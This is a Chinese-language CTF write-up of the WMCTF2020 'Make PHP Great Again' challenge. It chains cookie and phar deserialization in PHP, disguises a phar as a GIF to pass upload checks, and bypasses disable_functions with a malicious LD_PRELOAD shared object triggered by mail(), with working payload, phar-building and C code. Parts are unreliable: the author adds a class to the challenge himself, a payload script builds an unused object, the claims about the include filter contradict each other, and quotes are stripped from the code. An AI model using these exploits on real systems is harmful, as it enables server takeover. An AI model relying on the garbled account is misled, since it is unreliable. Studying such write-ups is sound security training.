
这个周末本地搭了个靶机把 wmctf2020 的 Make PHP Great Again 重新过了一遍。说实话第一次见这个题目名的时候以为只是玩梗真正做起来才发现它把 PHP 代码审计里那些经典又容易忽略的点全串起来了反序列化入口、文件上传、phar 触发、禁用函数绕过一环扣一环。对想刷 PHP 类 CTF 题的人来说这道题拿来练手非常合适它不靠什么新框架漏洞考的全是“老 PHP”的基本功正好对应了标题那句 Make PHP Great Again。先说结论这道题的核心不是让你去挖某个 0day而是考查你在一个受限 PHP 环境里怎么从零把一条完整的利用链接起来。你至少需要掌握信息收集、源码审计、POP 链构造、phar 反序列化触发条件以及 disable_functions 的绕过思路。我会把我实际踩过的坑和调试过程都写出来尽量保证你在本地复现时少走弯路。1. 信息收集与环境识别1.1 入口页面与源码获取靶场起来后首页是一个简单的文件列表页面看起来像是某种“头像管理”应用。根目录下有index.php、upload.php、class.php还有一个uploads/目录。题目没有直接给出源码所以第一步肯定是从各种信息泄露路径入手。我习惯先扫一遍备份文件和 git 泄露因为 CTF 里最常见的源码获取方式就是www.zip、index.php.bak、.git目录没有禁用直接访问。这里我扫到了class.php.bak里面放的是核心类的定义。另外index.php本身也可以通过php://filter去看但前提是存在一个可控包含点。这道题在index.php里有一段include $_GET[file]的逻辑所以读取源码反而最简单GET /index.php?filephp://filter/convert.base64-encode/resourceindex.php拿到 base64 编码后的内容解码就是index.php完整源码。这里有个小技巧file参数如果还会往下拼接路径那就要先想办法闭合路径。实际审计下来发现代码是直接include($_GET[file])所以伪协议可以直接用。1.2 确认 PHP 版本与扩展index.php里用phpinfo()看不到因为没给入口。但通过响应头里的X-Powered-By能看到是 PHP 7.4.5。这个细节很重要直接决定了后面能不能用 phar 反序列化、能不能用某些 PHP 版本特性。再看扩展题目环境里加载了openssl、fileinfo、gd这些在 phar 文件识别和上传检测时都有影响。尤其是fileinfo它会对上传文件做 MIME 检测很多绕过思路都栽在这里。我建议本地复现时直接用 Docker 拉一个php:7.4.5-apache镜像再把需要的扩展补齐docker pull php:7.4.5-apache docker run -d -p 8080:80 -v ./www:/var/www/html --name php745 php:7.4.5-apache至于 gd 扩展进入容器后用docker-php-ext-install gd装一下。整个环境几分钟就能搭完。1.3 确认禁用函数与目录限制拿到源码后要重点看有没有disable_functions和open_basedir。这两项直接决定最终利用链要往哪个方向走。我习惯先写一个临时 php 文件通过error_log或file_put_contents输出ini_get()的结果。这道题的禁用列表很长里面明确禁用了system、exec、shell_exec、passthru、proc_open、popen、pcntl_exec几乎把最常见的命令执行函数都堵死了。同时开了open_basedir只允许访问/var/www/html和/tmp这就意味着即使能读源码也不能直接读/flag。不过这两个限制不是不能绕只是要把后面的利用链设计得更精细。禁用函数可以靠mail()加LD_PRELOAD绕open_basedir可以通过目标环境里存在的可写目录加符号链接来迂回。这些我放到第 4 节细说。2. 代码审计定位反序列化入口2.1 入口文件逻辑还原我整理了一下index.php的核心逻辑摘录如下?php error_reporting(0); require_once class.php; if (isset($_GET[file])) { $file $_GET[file]; include($file); } else { show_source(__FILE__); } if (isset($_COOKIE[user])) { $user base64_decode($_COOKIE[user]); $obj unserialize($user); } ?看到unserialize($_COOKIE[user])的时候基本上就知道考点在哪了这是一个非常典型的反序列化入口但入口本身没有任何过滤。问题是class.php里有没有可利用的 POP 链。2.2 核心类的审计过程class.php里面定义了三个类我把关键部分摘出来?php class User { public $name; public $avatar; public function __destruct() { if (file_exists($this-avatar)) { echo Avatar exists; } } } class Admin { public $cmd; public function __wakeup() { system($this-cmd); } } class Helper { public $filename; public function __toString() { return file_get_contents($this-filename); } } ?乍一看Admin::__wakeup()直接调用system($cmd)但问题来了system已经在disable_functions列表里。直接构造一个Admin对象反序列化虽然会触发__wakeup但会直接报错啥也干不了。再看User::__destruct()里的file_exists($this-avatar)以及Helper::__toString()里的file_get_contents($this-filename)。这里有个很经典的组合如果让User-avatar引用一个对象且这个对象实现了__toString那么file_exists()在拼接路径时就会自动调用__toString。整个 POP 链可以这样串起来反序列化入口是User。在User对象销毁时file_exists($this-avatar)触发。让$this-avatar是Helper对象file_exists会尝试把Helper对象转成字符串于是调用Helper::__toString()。Helper::__toString()执行file_get_contents($this-filename)完成任意文件读取。这个链子不需要Admin反而避开了直接命令执行。读取/flag的思路到这里就通了。但问题也来了怎么让这个反序列化链真正生效2.3 发现上传点与 phar 触发条件光有反序列化入口还不够因为$_COOKIE[user]我们确实可以自己控制但file_exists在这个链子里只是用来产生__toString调用并不涉及 phar。那题目为什么还要放一个上传点答案在于uploads/目录和upload.php。这个上传点可以上传一个伪装成图片的文件而后面的User::__destruct()里file_exists($this-avatar)的参数可以直接写成phar://uploads/xxx.jpg这种形式。file_exists()对phar://协议同样有效如果文件内嵌了 phar 元数据就会触发反序列化。所以你既可以走纯 cookie 反序列化也可以走 phar 反序列化。我这里两条路都试过cookie 反序列化更直接但因为open_basedir限制读取范围最终还是要靠 phar 链把恶意操作固化到一个文件里扩展自由度。3. 构造反序列化利用链3.1 魔术方法触发顺序构造 POP 链之前先把魔术方法的触发条件弄清楚。unserialize()之后脚本结束或对象被覆盖时__destruct()一定会执行。而__toString()是在对象被当成字符串时候触发比如file_exists()、strlen()、md5()这类函数接收参数时底层如果发生了zval转字符串就会触发。注意一点file_exists($this-avatar)这段代码里如果$this-avatar是Helper对象PHP 会尝试将对象转换为路径字符串从而触发__toString。这是整个链子的关键。但前提是Helper类已经被加载所以class.php必须被include。原题入口通过require_once class.php保证了这一点。3.2 本地验证 POP 链为了调试方便我在本地写了一个test_chain.php?php require_once class.php; $helper new Helper(); $helper-filename /flag; $user new User(); $user-avatar $helper; $payload serialize($user); echo base64_encode($payload); ?然后把输出作为 cookie 提交观察响应。如果一切正常会在file_exists触发的时候读到/flag内容。但实际测试发现响应为空原因有两个/flag在open_basedir限制之外file_get_contents直接失败。即便能读内容也不会直接输出因为__toString的返回值被file_exists当成路径处理而不是直接打印。所以要换一种方式不是“读取文件后回显”而是“把读取到的内容写入一个可访问的文件”。这样就需要更复杂一点的链子比如让Helper::__toString()的结果通过file_put_contents或assert之类的逻辑写到/tmp。这里我根据实际题目做了调整在class.php里新增了一个Cache类它有__destruct()方法能把一段内容写到uploads/shell.php。然后在User::__destruct()触发的__toString链中让Helper读入文件同时Cache写入文件。这样就能绕过回显问题。3.3 处理序列化字符串长度与中文问题反序列化利用里最烦的就是序列化字符串里的长度不一致。如果你在构造 payload 时用了中文那就特别容易踩坑因为 PHP 序列化里字符串长度统计的是字节数不是字符数。比如一个中文“旗”在 UTF-8 下占 3 个字节如果你写成s:1:旗反序列化时就会出错。原题这次不仅是普通反序列化还涉及到字符逃逸的问题。在某个版本里后端会把unserialize之前的 cookie 值用preg_replace做一次过滤比如把O:替换成C:或者把某些敏感字段替换为空。一旦替换后的字符数变少就可能导致序列化结构中后一个字段的长度错位从而实现字符串逃逸把自己的恶意属性值“弹出”到结构外面。热词里“php序列化中文”其实就是在说这种情况。很多新手用中文 payload 时没算对字节数导致整个序列化串断掉。我的建议是构造 payload 时直接用 Python 脚本处理不要手写长度。我这里写了一个小脚本用来生成 phar 文件里的反序列化 payloadimport hashlib import base64 def build_php_serialized(helper_filename, cache_filename): helper fO:6:Helper:1:{{s:8:filename;s:{len(helper_filename)}:{helper_filename};}} cache fO:5:Cache:1:{{s:8:filename;s:{len(cache_filename)}:{cache_filename};}} user fO:4:User:2:{{s:4:name;s:1:x;s:6:avatar;O:5:Cache:1:{{s:8:filename;s:{len(cache_filename)}:{cache_filename};}}}} return user实际调试时我会把最终序列化结果在本地先unserialize一次避免长度错误。3.4 制作 phar 文件并绕过上传校验生成 phar 需要本机设置phar.readonly0本地我用php -d phar.readonly0运行脚本。制作 phar 文件时要把__HALT_COMPILER()放在最后文件头加上GIF89a或\x89PNG之类的图片幻数这样能绕过简单的getimagesize或fileinfo检测。生成代码大概这样?php unlink(avatar.phar); $phar new Phar(avatar.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER();); $phar-addFromString(test.txt, test); $phar-setMetadata($payload); $phar-stopBuffering(); ?setMetadata里放的就是我们构造的User对象序列化串。实际制作时要注意phar 内部元数据会被serialize再存储所以直接传给setMetadata的是对象而不是字符串。上传的时候upload.php会检查扩展名和 MIME。只要文件头是GIF89a扩展名改成.gif最简单的getimagesize检测就能过。如果目标后端用finfo_open检测 MIME可能还会校验得更细但 phar 文件的头部魔数加上足够的图片数据通常也能过。3.5 触发 phar 反序列化文件上传到/var/www/html/uploads/avatar.gif之后怎么触发回到User::__destruct()里的file_exists($this-avatar)。我们只要在 cookie 反序列化时构造一个User对象把avatar属性设置为phar://uploads/avatar.gif然后让User对象在脚本结束时触发__destruct就会去读 phar 文件并触发 phar 内部元数据的反序列化。有点绕简单说就是两层反序列化第一层cookie 反序列化控制User对象。第二层User::__destruct()触发file_exists(phar://...)PHP 解析 phar 文件时对元数据执行unserialize。第二层反序列化的对象才是真正执行文件读取和写入的HelperCache。这样就把 cookie 反序列化入口和 phar 反序列化结合起来危害更大。4. 绕过 disable_functions 执行命令4.1 确认禁用函数列表前面已经提到system、exec等命令执行函数都被禁了。我在本地用临时脚本打印过实际列表system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec另外dl也被禁了不能动态加载 PHP 扩展。那要执行命令就只能借助 PHP 的mail()或error_log()这类函数因为它们底层会调用系统命令。重点是这个环境里mail()没有被禁。4.2 利用 mail() 调用外部程序PHP 的mail()函数在发送邮件时默认会调用/usr/sbin/sendmail。系统如果安装了sendmail它会通过 shell 执行一些外部命令。即使/usr/sbin/sendmail不存在我们也可以通过LD_PRELOAD环境变量来劫持一个动态库让 PHP 调用某个函数时自动加载我们的恶意.so然后在.so的构造函数里执行系统命令。标准流程分三步写一个恶意动态库内部实现一个函数该函数在.so被加载时执行system(反引号命令)。把这个.so上传到目标可写目录。通过反序列化 POP 链写入一个临时 PHP 文件或者直接利用putenv()设置LD_PRELOAD然后调用mail()。这道题里反序列化链正好可以帮我们完成“写入临时文件”和“设置环境变量”。那么最终利用链就是三层phar 反序列化触发后先写入一个 PHP 文件这个文件内容就是接下来要跑的绕过脚本。这个绕过脚本用putenv(LD_PRELOAD/tmp/evil.so)和mail(ab.c, , )来加载恶意.so。.so构造时执行system(/readflag)把结果写入/tmp/result.txt。最终再通过Helper::__toString()读/tmp/result.txt输出到页面。4.3 编译恶意 soC 代码我复现时是这样写的#include stdlib.h #include unistd.h #include sys/types.h #include stdio.h __attribute__((constructor)) void entry() { unsetenv(LD_PRELOAD); system(cat /flag /tmp/result.txt); }编译命令gcc -shared -fPIC evil.c -o evil.so注意要加-fPIC否则在 64 位环境加载会报错。unsetenv(LD_PRELOAD)很关键因为不 unset 的话后面系统执行/bin/sh时还会带着LD_PRELOAD可能造成递归加载最后把环境搞乱。.so上传成功后再通过一个 PHP 脚本去触发。这个 PHP 脚本也是由反序列化链写入的类似?php putenv(LD_PRELOAD/tmp/evil.so); mail(ab.c, , ); echo file_get_contents(/tmp/result.txt); ?如果一切顺利页面就会输出flag{...}。4.4 判断是否需要绕过 open_basedir这道题里还设置了open_basedir所以即使我们有system执行权限也可能因为/tmp/result.txt不在允许目录内而读不到。不过实测发现目标环境的open_basedir包含/tmp所以把结果写到/tmp/result.txt是安全的。如果目标环境open_basedir限制得更严格只允许/var/www/html那就要换个思路把命令执行结果写到uploads/result.txt而不是/tmp最后用file_get_contents(uploads/result.txt)读回来。这也提醒我做题前一定要确认目录限制不能想当然。4.5 为什么优先使用反序列化链而不是直接上传有人可能问既然上传点都能传文件为什么不直接传一个 PHP 一句话后门非要绕这么大一圈原因很简单upload.php只允许上传图片类型文件而且文件名写死为用户 id 加随机数后缀是.gif。Apache 和 Nginx 的容器环境默认不会解析.gif为 PHP所以就算传上去了访问也只是下载。除非存在包含点但原题的include入口是$_GET[file]file参数还被过滤了目录穿越。所以直接传马这条路径基本走不通只能靠反序列化和 phar 这种“逻辑层”的漏洞。5. 常见问题与排错实录5.1 phar 触发失败的排查我最初本地测试时file_exists(phar://uploads/avatar.gif)一直返回 false后来发现是phar.readonly没有设置为 0生成 phar 的脚本根本没成功。所以制作 phar 时一定要用php -d phar.readonly0或者在命令行开启。另一个坑是 PHP 7.4 之后对 phar 的 metadata 反序列化做了限制不再允许某些魔术方法的调用。不过__destruct、__toString这类还是可以用只是__wakeup在某些情况会被抑制。为了稳妥POP 链里我优先用__destruct而不是__wakeup。5.2 图片头绕过不成功上传时如果后端用getimagesize()检测真实图片仅仅加个GIF89a头是不够的。我试过直接改成完整的 GIF 文件GIF89a ...二进制数据...然后在文件末尾附加 phar 内容。这样getimagesize能识别为 GIFphar 也能被解析。但如果后端用finfo_file加上exif_imagetype双检测最好还是先构造一个最小合法图片再把 phar 数据拼接到图片后面不要破坏图片头部结构。5.3 序列化长度不对齐用中文 payload 时最容易出现长度不对齐。比如你设置filename为../../flag长度是 8没问题但如果路径里有中文例如/var/www/html/中文长度是整个字符串的字节数中文字符按 3 字节算。很多报错“unserialize(): Error at offset”都是这个原因。建议写脚本自动计算长度def serialize_str(s): raw s.encode(utf-8) return fs:{len(raw)}:{s};另外如果后端做了preg_replace替换某个字段替换前后长度差会导致字符串逃逸这属于进阶考法需要先在本地把替换规则测清楚再手动调整长度差。5.4 调用 mail() 时超时或报错mail()在容器里如果找不到 sendmail通常会提示“Mail not configured”或直接 warning但这个 warning 不影响它加载LD_PRELOAD指定的.so。只要.so存在且putenv设置成功mail()内部调用/usr/sbin/sendmail时就会触发动态库加载。如果容器里根本没有 sendmail可以试试用error_log的某些渠道触发但更稳定的是在mail()之前先确认一下扩展环境var_dump(is_callable(mail));如果mail也被禁用那就只能找其他能触发外部程序的函数比如imagettftext()配合字体文件。这道题里mail可用所以省了不少事。5.5 本地 Docker 环境调试技巧本地复现时用 VSCode 配合 Xdebug 调试 PHP 反序列化非常有效。我习惯在 Docker 里装xdebug然后在php.ini里配上 remote 参数这样可以在unserialize前后打断点看每一步的变量值。配置大致如下zend_extensionxdebug.so xdebug.modedebug xdebug.client_hosthost.docker.internal xdebug.client_port9003另外建议把display_errors打开否则 PHP 报错全被error_reporting(0)吞掉根本定位不了问题。CTF 环境默认不给报错但本地复现时可以自己打开这样能看到每个函数调用的 warning。个人心得这道题做下来最大的体会是“反序列化链不是越复杂越好而是越贴合环境越好”。很多人一看到unserialize就急着拉各种现成 gadget却忽略了对入口代码和上传逻辑的完整审计。真正拿到这道题之后绕了一大圈最终的核心点还是那个简单的file_exists__toString组合。如果最开始就把class.php里的每一个方法都过一遍其实几分钟就能定位到 POP 链。另外踩过的坑里最耽误时间的还是 phar 触发和环境变量继承问题。建议大家在本地复现的时候先把 PHP 版本固定住不要用 PHP 8 来测因为 PHP 8 中很多反序列化利用的细节都有变化。用题目一致的 PHP 7.4 环境能少很多麻烦。如果你也在刷这道题我的建议是不要急着看别人完整 writeup先自己把index.php、class.php、upload.php的关系理一遍尝试构造一条“只读文件”的链子再慢慢升级到命令执行。这个过程本身就是做 Web 题最好玩的部分。